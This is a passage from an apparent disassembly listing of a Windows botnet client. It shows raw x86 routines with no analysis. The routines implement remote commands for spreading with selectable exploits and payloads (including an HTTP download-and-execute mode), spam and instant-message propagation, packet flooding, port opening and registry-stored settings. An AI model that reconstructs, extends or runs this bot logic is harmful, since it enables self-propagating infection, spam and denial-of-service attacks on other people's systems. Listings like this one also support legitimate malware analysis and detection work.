[esi+4] mov ecx, [eax+18h] push dword ptr [ecx+10h] mov ecx, [eax+14h] push dword ptr [ecx+10h] mov ecx, [eax+10h] push dword ptr [ecx+10h] mov ecx, [eax+0Ch] push dword ptr [ecx+10h] mov ecx, [eax+8] push dword ptr [ecx+10h] mov ecx, [eax+4] movzx ecx, word ptr [ecx+10h] mov eax, [eax] push ecx push dword ptr [eax+10h] push dword ptr [ebp+8] call sub_40805D loc_40F4C5: ; CODE XREF: sub_40F423+6Aj or dword ptr [ebp-4], 0FFFFFFFFh push eax push offset dword_438154 call sub_407F57 loc_40F4D4: ; CODE XREF: sub_40F423+19j ; sub_40F423+26j ... mov ecx, [ebp-0Ch] pop esi mov large fs:0, ecx leave retn 4 sub_40F423 endp ; =============== S U B R O U T I N E ======================================= sub_40F4E3 proc near ; CODE XREF: sub_411377+A58p push esi push 1 mov esi, eax push offset aSpread ; "Spread" call sub_413800 mov dword ptr [esi], offset off_430778 mov eax, esi pop esi retn sub_40F4E3 endp ; =============== S U B R O U T I N E ======================================= sub_40F4FC proc near ; DATA XREF: .text:off_430778o arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov ecx, [esi+4] mov eax, [ecx] cmp dword ptr [eax+8], 1 jnz short loc_40F55B mov eax, ds:dword_438110 test eax, eax jnz short loc_40F53D push 1Ch call sub_41BA91 test eax, eax pop ecx jz short loc_40F534 mov ecx, [esi+4] mov ecx, [ecx] push edi push dword ptr [ecx+10h] mov edi, eax call sub_4163F9 pop edi jmp short loc_40F536 ; --------------------------------------------------------------------------- loc_40F534: ; CODE XREF: sub_40F4FC+23j xor eax, eax loc_40F536: ; CODE XREF: sub_40F4FC+36j mov ds:dword_438110, eax jmp short loc_40F55B ; --------------------------------------------------------------------------- loc_40F53D: ; CODE XREF: sub_40F4FC+17j mov ecx, [ecx] mov ecx, [ecx+10h] push dword ptr [eax+18h] mov [eax+14h], ecx call ds:dword_42910C ; SetEvent mov eax, ds:dword_438110 add eax, 10h call sub_41600E loc_40F55B: ; CODE XREF: sub_40F4FC+Ej ; sub_40F4FC+3Fj pop esi retn 4 sub_40F4FC endp ; =============== S U B R O U T I N E ======================================= sub_40F55F proc near ; CODE XREF: sub_411377+A8Ep push esi push 3 mov esi, eax push offset aSendim ; "SendIM" call sub_413800 mov dword ptr [esi], offset off_430760 mov eax, esi pop esi retn sub_40F55F endp ; =============== S U B R O U T I N E ======================================= sub_40F578 proc near ; DATA XREF: .text:off_430760o arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov eax, [eax+4] mov ecx, [eax] cmp dword ptr [ecx+8], 3 jnz short locret_40F5AF mov ecx, [eax+4] cmp dword ptr [ecx+8], 3 jnz short locret_40F5AF mov ecx, [eax+8] cmp dword ptr [ecx+8], 1 jnz short locret_40F5AF push dword ptr [ecx+10h] mov ecx, [eax+4] push dword ptr [ecx+10h] mov eax, [eax] push dword ptr [eax+10h] call sub_401236 add esp, 0Ch locret_40F5AF: ; CODE XREF: sub_40F578+Dj ; sub_40F578+16j ... retn 4 sub_40F578 endp ; =============== S U B R O U T I N E ======================================= sub_40F5B2 proc near ; CODE XREF: sub_411377+ABBp push esi push 2 mov esi, eax push offset aSpam ; "Spam" call sub_413800 mov dword ptr [esi], offset nullsub_2 mov eax, esi pop esi retn sub_40F5B2 endp ; --------------------------------------------------------------------------- mov eax, [esp+4] mov eax, [eax+4] mov ecx, [eax] cmp dword ptr [ecx+8], 3 jnz short locret_40F5F2 mov ecx, [eax+4] cmp dword ptr [ecx+8], 1 jnz short locret_40F5F2 push dword ptr [ecx+10h] mov eax, [eax] push dword ptr [eax+10h] call sub_4017D5 pop ecx pop ecx locret_40F5F2: ; CODE XREF: .text:0040F5D8j ; .text:0040F5E1j retn 4 ; =============== S U B R O U T I N E ======================================= sub_40F5F5 proc near ; CODE XREF: sub_411377+AE8p push esi push 3 mov esi, eax push offset aSendim ; "SendIM" call sub_413800 mov dword ptr [esi], offset off_430808 mov eax, esi pop esi retn sub_40F5F5 endp ; =============== S U B R O U T I N E ======================================= sub_40F60E proc near ; DATA XREF: .text:off_430808o arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov eax, [eax+4] mov ecx, [eax] cmp dword ptr [ecx+8], 3 jnz short locret_40F645 mov ecx, [eax+4] cmp dword ptr [ecx+8], 3 jnz short locret_40F645 mov ecx, [eax+8] cmp dword ptr [ecx+8], 1 jnz short locret_40F645 push dword ptr [ecx+10h] mov ecx, [eax+4] push dword ptr [ecx+10h] mov eax, [eax] push dword ptr [eax+10h] call sub_4095D4 add esp, 0Ch locret_40F645: ; CODE XREF: sub_40F60E+Dj ; sub_40F60E+16j ... retn 4 sub_40F60E endp ; =============== S U B R O U T I N E ======================================= sub_40F648 proc near ; CODE XREF: sub_411377+B1Ep push esi push 2 mov esi, eax push offset aSpam ; "Spam" call sub_413800 mov dword ptr [esi], offset off_4307E8 mov eax, esi pop esi retn sub_40F648 endp ; =============== S U B R O U T I N E ======================================= sub_40F661 proc near ; DATA XREF: .text:off_4307E8o arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov eax, [eax+4] mov ecx, [eax] cmp dword ptr [ecx+8], 3 jnz short locret_40F688 mov ecx, [eax+4] cmp dword ptr [ecx+8], 1 jnz short locret_40F688 push dword ptr [ecx+10h] mov eax, [eax] push dword ptr [eax+10h] call sub_4099C8 pop ecx pop ecx locret_40F688: ; CODE XREF: sub_40F661+Dj ; sub_40F661+16j retn 4 sub_40F661 endp ; =============== S U B R O U T I N E ======================================= sub_40F68B proc near ; CODE XREF: sub_411377+B4Bp push esi push 4 mov esi, eax push offset aStart ; "Start" call sub_413800 mov dword ptr [esi], offset off_4307D0 mov eax, esi pop esi retn sub_40F68B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F6A4 proc near ; DATA XREF: .text:off_4307D0o var_78 = byte ptr -78h var_20 = byte ptr -20h var_10 = byte ptr -10h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 78h push esi mov esi, [ebp+arg_0] push edi mov edi, [esi+4] mov eax, [edi] cmp dword ptr [eax+8], 1 jnz loc_40F78E mov eax, [edi+4] cmp dword ptr [eax+8], 3 jnz loc_40F78E mov eax, [edi+8] cmp dword ptr [eax+8], 3 jnz loc_40F78E push ebx lea eax, [ebp+var_78] call sub_417057 mov eax, [edi+4] push dword ptr [eax+10h] call sub_41C350 mov ecx, [edi+4] push dword ptr [ecx+10h] mov ebx, eax lea eax, [ebp+var_78] call sub_41707B lea eax, [ebp+var_20] push eax lea edi, [ebp+var_78] call sub_417107 lea eax, [ebp+var_78] call sub_417057 mov edi, [esi+4] mov eax, [edi+8] push dword ptr [eax+10h] call sub_41C350 mov ecx, [edi+8] push dword ptr [ecx+10h] mov ebx, eax lea eax, [ebp+var_78] call sub_41707B lea eax, [ebp+var_10] push eax lea edi, [ebp+var_78] call sub_417107 push 5A8h call sub_41BA91 add esp, 1Ch test eax, eax pop ebx jz short loc_40F767 mov ecx, [esi+4] mov ecx, [ecx] movzx ecx, word ptr [ecx+10h] lea edx, [ebp+var_10] push edx lea edx, [ebp+var_20] push edx push ecx push 3 mov edi, eax call sub_40C6A4 loc_40F767: ; CODE XREF: sub_40F6A4+A6j mov esi, [esi+4] mov eax, [esi+0Ch] mov ecx, [eax+10h] or ecx, [eax+14h] jz short loc_40F78E lea eax, [ebp+var_10] push eax lea eax, [ebp+var_20] push eax mov eax, [esi] movzx eax, word ptr [eax+10h] push eax push 3 call sub_404B8D add esp, 10h loc_40F78E: ; CODE XREF: sub_40F6A4+14j ; sub_40F6A4+21j ... pop edi pop esi leave retn 4 sub_40F6A4 endp ; =============== S U B R O U T I N E ======================================= sub_40F794 proc near ; CODE XREF: sub_411377+B77p push esi push 1 mov esi, eax push offset aOpenport ; "OpenPort" call sub_413800 mov dword ptr [esi], offset off_4307A8 mov eax, esi pop esi retn sub_40F794 endp ; =============== S U B R O U T I N E ======================================= sub_40F7AD proc near ; DATA XREF: .text:off_4307A8o mov eax, offset loc_427F52 call sub_41E550 push ecx push ecx push edi mov edi, [ebp+8] mov eax, [edi+4] mov eax, [eax] cmp dword ptr [eax+8], 1 jnz short loc_40F811 push esi lea esi, [ebp-14h] call sub_405E63 and dword ptr [ebp-4], 0 mov eax, [edi+4] mov eax, [eax] movzx eax, word ptr [eax+10h] mov esi, offset aNull_1 ; "null" push esi push 6 push eax lea eax, [ebp-14h] call sub_405EF4 mov edi, [edi+4] mov eax, [edi] movzx eax, word ptr [eax+10h] push esi push 11h push eax lea eax, [ebp-14h] call sub_405EF4 or dword ptr [ebp-4], 0FFFFFFFFh lea esi, [ebp-14h] call sub_405EDB pop esi loc_40F811: ; CODE XREF: sub_40F7AD+19j mov ecx, [ebp-0Ch] pop edi mov large fs:0, ecx leave retn 4 sub_40F7AD endp ; =============== S U B R O U T I N E ======================================= sub_40F820 proc near ; CODE XREF: sub_411377+C33p push esi push 1 mov esi, eax push offset aStart ; "Start" call sub_413800 mov dword ptr [esi], offset off_430824 mov eax, esi pop esi retn sub_40F820 endp ; =============== S U B R O U T I N E ======================================= sub_40F839 proc near ; DATA XREF: .text:off_430824o mov eax, offset loc_427ED2 call sub_41E550 push esi mov esi, [ebp+8] mov eax, [esi+4] mov eax, [eax] cmp dword ptr [eax+8], 1 jnz short loc_40F8A2 mov edx, ds:dword_438114 test edx, edx jnz short loc_40F88B push 48h call sub_41BA91 pop ecx mov [ebp+8], eax and dword ptr [ebp-4], 0 test eax, eax jz short loc_40F881 mov eax, [esi+4] mov eax, [eax] push dword ptr [eax+10h] push dword ptr [ebp+8] call sub_40E4C6 jmp short loc_40F883 ; --------------------------------------------------------------------------- loc_40F881: ; CODE XREF: sub_40F839+34j xor eax, eax loc_40F883: ; CODE XREF: sub_40F839+46j mov edx, eax mov ds:dword_438114, edx loc_40F88B: ; CODE XREF: sub_40F839+21j mov esi, [esi+4] mov eax, [esi] mov ecx, [eax+10h] push edx call sub_40E5D7 push dword ptr [edx+10h] call ds:dword_42910C ; SetEvent loc_40F8A2: ; CODE XREF: sub_40F839+17j mov ecx, [ebp-0Ch] pop esi mov large fs:0, ecx leave retn 4 sub_40F839 endp ; =============== S U B R O U T I N E ======================================= sub_40F8B1 proc near ; CODE XREF: sub_411377+C69p push esi push 0 mov esi, eax push offset aPause ; "Pause" call sub_413800 mov dword ptr [esi], offset nullsub_1 mov eax, esi pop esi retn sub_40F8B1 endp ; --------------------------------------------------------------------------- mov eax, ds:dword_438114 test eax, eax jz short locret_40F8DC push dword ptr [eax+10h] call ds:dword_429114 ; ResetEvent locret_40F8DC: ; CODE XREF: .text:0040F8D1j retn 4 ; =============== S U B R O U T I N E ======================================= sub_40F8DF proc near ; CODE XREF: sub_411377+C96p push esi push 2 mov esi, eax push offset aSetpayload ; "SetPayload" call sub_413800 mov dword ptr [esi], offset off_4307EC mov eax, esi pop esi retn sub_40F8DF endp ; =============== S U B R O U T I N E ======================================= sub_40F8F8 proc near ; DATA XREF: .text:off_4307ECo mov eax, offset loc_427ED2 call sub_41E550 push esi mov esi, [ebp+8] mov eax, [esi+4] mov ecx, [eax] cmp dword ptr [ecx+8], 3 jnz short loc_40F981 mov ecx, [eax+4] cmp dword ptr [ecx+8], 3 jnz short loc_40F981 mov eax, [eax] push edi push offset aHttpexec ; "HTTPEXEC" push dword ptr [eax+10h] call sub_426D1E test eax, eax pop ecx pop ecx jnz short loc_40F95C push 8 call sub_41BA91 pop ecx mov [ebp+8], eax xor eax, eax mov [ebp-4], eax cmp [ebp+8], eax jz short loc_40F958 mov eax, [esi+4] add eax, 4 mov eax, [eax] push dword ptr [eax+10h] push dword ptr [ebp+8] call sub_40C5E6 loc_40F958: ; CODE XREF: sub_40F8F8+4Bj mov edi, eax jmp short loc_40F976 ; --------------------------------------------------------------------------- loc_40F95C: ; CODE XREF: sub_40F8F8+36j mov esi, [esi+4] mov eax, [esi] push offset aNone ; "NONE" push dword ptr [eax+10h] call sub_426D1E test eax, eax pop ecx pop ecx jnz short loc_40F980 xor edi, edi loc_40F976: ; CODE XREF: sub_40F8F8+62j mov eax, offset dword_43819C call sub_40E415 loc_40F980: ; CODE XREF: sub_40F8F8+7Aj pop edi loc_40F981: ; CODE XREF: sub_40F8F8+17j ; sub_40F8F8+20j mov ecx, [ebp-0Ch] pop esi mov large fs:0, ecx leave retn 4 sub_40F8F8 endp ; =============== S U B R O U T I N E ======================================= sub_40F990 proc near ; CODE XREF: sub_411377+CC3p push esi push 1 mov esi, eax push offset aSetexploit ; "SetExploit" call sub_413800 mov dword ptr [esi], offset off_4307C8 mov eax, esi pop esi retn sub_40F990 endp ; =============== S U B R O U T I N E ======================================= sub_40F9A9 proc near ; DATA XREF: .text:off_4307C8o arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi+4] mov ecx, [eax] cmp dword ptr [ecx+8], 3 jnz short loc_40F9E3 mov eax, ecx push offset aNone ; "NONE" push dword ptr [eax+10h] call sub_426D1E test eax, eax pop ecx pop ecx jnz short loc_40F9D1 push eax jmp short loc_40F9D9 ; --------------------------------------------------------------------------- loc_40F9D1: ; CODE XREF: sub_40F9A9+23j mov eax, [esi+4] mov eax, [eax] push dword ptr [eax+10h] loc_40F9D9: ; CODE XREF: sub_40F9A9+26j mov esi, offset dword_43819C call sub_40E387 loc_40F9E3: ; CODE XREF: sub_40F9A9+Ej pop esi retn 4 sub_40F9A9 endp ; =============== S U B R O U T I N E ======================================= sub_40F9E7 proc near ; CODE XREF: sub_411377+BA3p push esi push 1 mov esi, eax push offset aAdd ; "Add" call sub_413800 mov dword ptr [esi], offset off_4307B4 mov eax, esi pop esi retn sub_40F9E7 endp ; =============== S U B R O U T I N E ======================================= sub_40FA00 proc near ; DATA XREF: .text:off_4307B4o mov eax, offset loc_427ED2 call sub_41E550 push esi mov esi, [ebp+8] mov eax, [esi+4] mov eax, [eax] cmp dword ptr [eax+8], 3 jnz short loc_40FA79 cmp ds:dword_438114, 0 jnz short loc_40FA66 push 48h call sub_41BA91 pop ecx mov [ebp+8], eax and dword ptr [ebp-4], 0 test eax, eax jz short loc_40FA3F push 0 push eax call sub_40E4C6 jmp short loc_40FA41 ; --------------------------------------------------------------------------- loc_40FA3F: ; CODE XREF: sub_40FA00+33j xor eax, eax loc_40FA41: ; CODE XREF: sub_40FA00+3Dj or dword ptr [ebp-4], 0FFFFFFFFh push 1388h push dword ptr [eax+0Ch] mov ds:dword_438114, eax call ds:dword_429128 ; WaitForSingleObject mov eax, ds:dword_438114 push dword ptr [eax+10h] call ds:dword_429114 ; ResetEvent loc_40FA66: ; CODE XREF: sub_40FA00+20j mov eax, [esi+4] mov eax, [eax] push dword ptr [eax+10h] mov esi, ds:dword_438114 call sub_40E577 loc_40FA79: ; CODE XREF: sub_40FA00+17j mov ecx, [ebp-0Ch] pop esi mov large fs:0, ecx leave retn 4 sub_40FA00 endp ; =============== S U B R O U T I N E ======================================= sub_40FA88 proc near ; CODE XREF: sub_411377+BD9p push esi push 0 mov esi, eax push offset aClear ; "Clear" call sub_413800 mov dword ptr [esi], offset off_430798 mov eax, esi pop esi retn sub_40FA88 endp ; =============== S U B R O U T I N E ======================================= sub_40FAA1 proc near ; DATA XREF: .text:off_430798o push edi mov edi, ds:dword_438114 test edi, edi jz short loc_40FAB1 call sub_40E5B8 loc_40FAB1: ; CODE XREF: sub_40FAA1+9j pop edi retn 4 sub_40FAA1 endp ; =============== S U B R O U T I N E ======================================= sub_40FAB5 proc near ; CODE XREF: sub_411377+C06p push esi push 0 mov esi, eax push offset aCurrent ; "Current" call sub_413800 mov dword ptr [esi], offset off_430788 mov eax, esi pop esi retn sub_40FAB5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40FACE proc near ; DATA XREF: .text:off_430788o var_40 = byte ptr -40h push ebp mov ebp, esp sub esp, 40h mov eax, ds:dword_438114 test eax, eax push esi mov esi, ecx jz short loc_40FB10 mov ecx, [eax+18h] movzx eax, word ptr [eax+1Ch] push eax push ecx call ds:dword_429274 ; inet_ntoa push eax lea eax, [ebp+var_40] push offset aSD ; "%s:%d" push eax call sub_41CA2D add esp, 10h lea eax, [ebp+var_40] push eax mov eax, [esi+108h] call sub_40FE96 loc_40FB10: ; CODE XREF: sub_40FACE+10j pop esi leave retn 4 sub_40FACE endp ; =============== S U B R O U T I N E ======================================= sub_40FB15 proc near ; CODE XREF: sub_411377+CF0p push esi push 0 mov esi, eax push offset aAbortall ; "AbortAll" call sub_413800 mov dword ptr [esi], offset off_43076C mov eax, esi pop esi retn sub_40FB15 endp ; =============== S U B R O U T I N E ======================================= sub_40FB2E proc near ; DATA XREF: .text:off_43076Co push dword ptr [ecx+10Ch] mov eax, offset dword_4381B8 call sub_41395A retn 4 sub_40FB2E endp ; =============== S U B R O U T I N E ======================================= sub_40FB41 proc near ; CODE XREF: sub_411377+D1Cp push esi push 3 mov esi, eax push offset aFlood ; "Flood" call sub_413800 mov dword ptr [esi], offset off_430758 mov eax, esi pop esi retn sub_40FB41 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40FB5A proc near ; DATA XREF: .text:off_430758o var_584 = byte ptr -584h var_10 = byte ptr -10h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 584h push edi mov edi, [ebp+arg_0] mov eax, [edi+4] mov ecx, [eax] cmp dword ptr [ecx+8], 3 jnz loc_40FC27 mov ecx, [eax+4] cmp dword ptr [ecx+8], 1 jnz loc_40FC27 mov eax, [eax+8] cmp dword ptr [eax+8], 1 jnz loc_40FC27 push ebx push esi lea esi, [ebp+var_584] call sub_414878 push 2 pop ecx mov eax, esi call sub_4148AA mov eax, [edi+4] add eax, 8 mov eax, [eax] mov ebx, [eax+10h] mov eax, 0FFFFh cmp ebx, eax jbe short loc_40FBBD mov ebx, eax loc_40FBBD: ; CODE XREF: sub_40FB5A+5Fj push ebx call sub_41BAB5 xor esi, esi test ebx, ebx pop ecx mov [ebp+arg_0], eax jbe short loc_40FBE6 loc_40FBCD: ; CODE XREF: sub_40FB5A+8Aj push 0FFh push 0 call sub_40D864 pop ecx pop ecx mov ecx, [ebp+arg_0] mov [esi+ecx], al inc esi cmp esi, ebx jb short loc_40FBCD loc_40FBE6: ; CODE XREF: sub_40FB5A+71j mov eax, [edi+4] mov ecx, [eax+4] movzx ecx, word ptr [ecx+10h] mov eax, [eax] push ecx push dword ptr [eax+10h] lea esi, [ebp+var_10] lea edi, [ebp+var_584] call sub_41494C push ebx mov eax, esi push eax push ebx push [ebp+arg_0] mov eax, edi call sub_414CEA push [ebp+arg_0] call sub_41CA28 pop ecx push 3 mov eax, edi call sub_414D44 pop esi pop ebx loc_40FC27: ; CODE XREF: sub_40FB5A+16j ; sub_40FB5A+23j ... pop edi leave retn 4 sub_40FB5A endp ; =============== S U B R O U T I N E ======================================= sub_40FC2C proc near ; CODE XREF: sub_411377+D48p push esi push 2 mov esi, eax push offset aFlood ; "Flood" call sub_413800 mov dword ptr [esi], offset off_430770 mov eax, esi pop esi retn sub_40FC2C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40FC45 proc near ; DATA XREF: .text:off_430770o var_574 = byte ptr -574h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 574h push edi mov edi, [ebp+arg_0] mov eax, [edi+4] mov ecx, [eax] cmp dword ptr [ecx+8], 3 jnz short loc_40FCA6 mov eax, [eax+4] cmp dword ptr [eax+8], 1 jnz short loc_40FCA6 push esi lea esi, [ebp+var_574] call sub_414878 xor ecx, ecx inc ecx mov eax, esi call sub_4148AA xor eax, eax inc eax mov ecx, esi call sub_4149DD mov eax, [edi+4] mov ecx, [eax+4] mov eax, [eax] push dword ptr [eax+10h] mov ax, [ecx+10h] mov ecx, esi call sub_414A81 push 3 mov eax, esi call sub_414D44 pop esi loc_40FCA6: ; CODE XREF: sub_40FC45+16j ; sub_40FC45+1Fj pop edi leave retn 4 sub_40FC45 endp ; =============== S U B R O U T I N E ======================================= sub_40FCAB proc near ; CODE XREF: sub_411377+D74p push esi push 2 mov esi, eax push offset aSet ; "Set" call sub_413800 mov dword ptr [esi], offset off_430754 mov eax, esi pop esi retn sub_40FCAB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40FCC4 proc near ; DATA XREF: .text:off_430754o var_C = byte ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push edi mov edi, [ebp+arg_0] mov eax, [edi+4] mov ecx, [eax] cmp dword ptr [ecx+8], 3 jnz short loc_40FD12 push esi mov esi, [eax+4] call sub_40FEFE push offset aSoftwareGnuVer ; "SOFTWARE\\GNU\\Version" push 80000001h lea esi, [ebp+var_C] call sub_40D8DC mov eax, [edi+4] mov ecx, [eax+4] push dword ptr [ecx+10h] mov eax, [eax] push dword ptr [eax+10h] mov eax, esi push eax call sub_40D9DE mov eax, esi call sub_40D8F7 pop esi loc_40FD12: ; CODE XREF: sub_40FCC4+13j pop edi leave retn 4 sub_40FCC4 endp ; =============== S U B R O U T I N E ======================================= sub_40FD17 proc near ; CODE XREF: sub_411377+DAAp push esi push 1 mov esi, eax push offset aGet_0 ; "Get" call sub_413800 mov dword ptr [esi], offset off_430818 mov eax, esi pop esi retn sub_40FD17 endp ; =============== S U B R O U T I N E ======================================= sub_40FD30 proc near ; DATA XREF: .text:off_430818o mov eax, offset loc_4279E5 call sub_41E550 sub esp, 0Ch push ebx push edi mov edi, [ebp+8] mov eax, [edi+4] mov eax, [eax] cmp dword ptr [eax+8], 3 mov ebx, ecx jnz short loc_40FD87 push esi push offset aSoftwareGnuVer ; "SOFTWARE\\GNU\\Version" push 80000001h lea esi, [ebp-18h] call sub_40D8DC and dword ptr [ebp-4], 0 mov eax, [edi+4] mov eax, [eax] push dword ptr [eax+10h] call sub_40DA05 push eax mov eax, [ebx+108h] call sub_40FE96 mov eax, esi call sub_40D8F7 pop esi loc_40FD87: ; CODE XREF: sub_40FD30+1Dj mov ecx, [ebp-0Ch] pop edi pop ebx mov large fs:0, ecx leave retn 4 sub_40FD30 endp ; =============== S U B R O U T I N E ======================================= sub_40FD97 proc near ; CODE XREF: sub_411377+DD7p push esi push 1 mov esi, eax push offset aIsset ; "IsSet" call sub_413800 mov dword ptr [esi], offset off_430804 mov eax, esi pop esi retn sub_40FD97 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40FDB0 proc near ; DATA XREF: .text:off_430804o var_C = byte ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx mov ebx, [ebp+arg_0] mov eax, [ebx+4] mov eax, [eax] cmp dword ptr [eax+8], 3 push edi mov edi, ecx jnz short loc_40FE18 push esi push offset aSoftwareGnuVer ; "SOFTWARE\\GNU\\Version" push 80000001h lea esi, [ebp+var_C] call sub_40D8DC mov ebx, [ebx+4] mov eax, [ebx] push dword ptr [eax+10h] mov eax, esi push eax call sub_40D93E test eax, eax mov eax, [edi+108h] pop esi jz short loc_40FE01 xor ecx, ecx inc ecx mov [eax+10h], ecx mov [eax+8], ecx jmp short loc_40FE0C ; --------------------------------------------------------------------------- loc_40FE01: ; CODE XREF: sub_40FDB0+44j and dword ptr [eax+10h], 0 mov dword ptr [eax+8], 1 loc_40FE0C: ; CODE XREF: sub_40FDB0+4Fj and dword ptr [eax+14h], 0 lea eax, [ebp+var_C] call sub_40D8F7 loc_40FE18: ; CODE XREF: sub_40FDB0+16j pop edi pop ebx leave retn 4 sub_40FDB0 endp ; =============== S U B R O U T I N E ======================================= sub_40FE1E proc near ; CODE XREF: sub_411377+E04p push esi push 1 mov esi, eax push offset aClear ; "Clear" call sub_413800 mov dword ptr [esi], offset off_4307D4 mov eax, esi pop esi retn sub_40FE1E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40FE37 proc near ; DATA XREF: .text:off_4307D4o var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push edi mov edi, [ebp+arg_0] mov eax, [edi+4] mov eax, [eax] cmp dword ptr [eax+8], 3 jnz short loc_40FE78 push esi push offset aSoftwareGnuVer ; "SOFTWARE\\GNU\\Version" push 80000001h lea esi, [ebp+var_C] call sub_40D8DC mov eax, [edi+4] mov eax, [eax] push dword ptr [eax+10h] push [ebp+var_C] call ds:dword_429014 ; RegDeleteValueA mov eax, esi call sub_40D8F7 pop esi loc_40FE78: ; CODE XREF: sub_40FE37+13j pop edi leave retn 4 sub_40FE37 endp ; =============== S U B R O U T I N E ======================================= sub_40FE7D proc near ; CODE XREF: sub_41226A+47Ap ; sub_41226A+54Bp ... cmp dword ptr [esi+8], 3 jnz short locret_40FE95 mov eax, [esi+10h] test eax, eax jz short locret_40FE95 push eax call sub_41CA28 and dword ptr [esi+10h], 0 pop ecx locret_40FE95: ; CODE XREF: sub_40FE7D+4j ; sub_40FE7D+Bj retn sub_40FE7D endp ; =============== S U B R O U T I N E ======================================= sub_40FE96 proc near ; CODE XREF: sub_40EDC7+24p ; sub_40EE0E+Fp ... arg_0 = dword ptr 4 push esi push [esp+4+arg_0] mov esi, eax call sub_41C350 pop ecx inc eax push eax call sub_40FF67 push [esp+4+arg_0] push dword ptr [esi+10h] call sub_41C930 pop ecx pop ecx mov dword ptr [esi+8], 3 pop esi retn 4 sub_40FE96 endp ; =============== S U B R O U T I N E ======================================= sub_40FEC3 proc near ; CODE XREF: sub_4104A3+3p ; sub_4104A3+Ap ... mov eax, [esi+8] cmp eax, 3 jnz short loc_40FED6 push dword ptr [esi+10h] call sub_41D59C pop ecx jmp short loc_40FEE3 ; --------------------------------------------------------------------------- loc_40FED6: ; CODE XREF: sub_40FEC3+6j cmp eax, 2 jnz short loc_40FEEC fld qword ptr [esi+10h] call sub_427778 loc_40FEE3: ; CODE XREF: sub_40FEC3+11j cdq mov [esi+10h], eax mov [esi+14h], edx jmp short loc_40FEF6 ; --------------------------------------------------------------------------- loc_40FEEC: ; CODE XREF: sub_40FEC3+16j test eax, eax jnz short locret_40FEFD and [esi+10h], eax and [esi+14h], eax loc_40FEF6: ; CODE XREF: sub_40FEC3+27j mov dword ptr [esi+8], 1 locret_40FEFD: ; CODE XREF: sub_40FEC3+2Bj retn sub_40FEC3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40FEFE proc near ; CODE XREF: sub_40EC36+Bp ; sub_40EC36+18p ... var_30 = qword ptr -30h var_28 = byte ptr -28h var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 28h mov eax, [esi+8] cmp eax, 2 jnz short loc_40FF2B fld qword ptr [esi+10h] and dword ptr [esi+10h], 0 push ecx push ecx fstp [esp+30h+var_30] lea eax, [ebp+var_28] push offset dword_4308E4 push eax call sub_41CA2D add esp, 10h jmp short loc_40FF4C ; --------------------------------------------------------------------------- loc_40FF2B: ; CODE XREF: sub_40FEFE+Cj cmp eax, 1 jnz short loc_40FF52 mov ecx, [esi+14h] mov eax, [esi+10h] and dword ptr [esi+10h], 0 mov [ebp+var_4], ecx push 0Ah lea ecx, [ebp+var_28] push ecx push eax call sub_421A02 add esp, 0Ch loc_40FF4C: ; CODE XREF: sub_40FEFE+2Bj lea eax, [ebp+var_28] push eax jmp short loc_40FF5E ; --------------------------------------------------------------------------- loc_40FF52: ; CODE XREF: sub_40FEFE+30j test eax, eax jnz short locret_40FF65 and [esi+10h], eax push offset aNull_2 ; "(null)" loc_40FF5E: ; CODE XREF: sub_40FEFE+52j mov eax, esi call sub_40FE96 locret_40FF65: ; CODE XREF: sub_40FEFE+56j leave retn sub_40FEFE endp ; =============== S U B R O U T I N E ======================================= sub_40FF67 proc near ; CODE XREF: sub_40FE96+Fp ; sub_40FF85+25p arg_0 = dword ptr 4 mov eax, [esi+10h] test eax, eax jz short loc_40FF75 push eax call sub_41CA28 pop ecx loc_40FF75: ; CODE XREF: sub_40FF67+5j push [esp+arg_0] call sub_41BAB5 pop ecx mov [esi+10h], eax retn 4 sub_40FF67 endp ; =============== S U B R O U T I N E ======================================= sub_40FF85 proc near ; CODE XREF: sub_4100B9+E0p ; sub_4100B9+10Bp arg_0 = dword ptr 4 push esi mov esi, eax push edi push dword ptr [esi+10h] call sub_41C350 inc eax push eax call sub_41BAB5 push dword ptr [esi+10h] mov edi, eax push edi call sub_41C930 add esp, 10h push [esp+8+arg_0] call sub_40FF67 push [esp+8+arg_0] push edi push dword ptr [esi+10h] call sub_41C5A0 push edi call sub_41CA28 add esp, 10h pop edi pop esi retn 4 sub_40FF85 endp ; =============== S U B R O U T I N E ======================================= sub_40FFCA proc near ; CODE XREF: sub_413535+124p push esi push dword ptr [edi+10h] xor esi, esi call sub_41C350 test eax, eax pop ecx jbe short loc_410029 loc_40FFDA: ; CODE XREF: sub_40FFCA+5Dj mov eax, [edi+10h] cmp byte ptr [eax+esi], 5Ch jnz short loc_41001B push eax call sub_41C350 pop ecx lea ecx, [esi+1] cmp eax, ecx jbe short loc_41001B mov eax, [edi+10h] add eax, esi lea ecx, [eax+1] push ecx push eax call sub_41C930 mov eax, [edi+10h] pop ecx add eax, esi pop ecx mov cl, [eax] cmp cl, 72h jnz short loc_410013 mov byte ptr [eax], 0Dh jmp short loc_41001B ; --------------------------------------------------------------------------- loc_410013: ; CODE XREF: sub_40FFCA+42j cmp cl, 6Eh jnz short loc_41001B mov byte ptr [eax], 0Ah loc_41001B: ; CODE XREF: sub_40FFCA+17j ; sub_40FFCA+25j ... push dword ptr [edi+10h] inc esi call sub_41C350 cmp esi, eax pop ecx jb short loc_40FFDA loc_410029: ; CODE XREF: sub_40FFCA+Ej pop esi retn sub_40FFCA endp ; =============== S U B R O 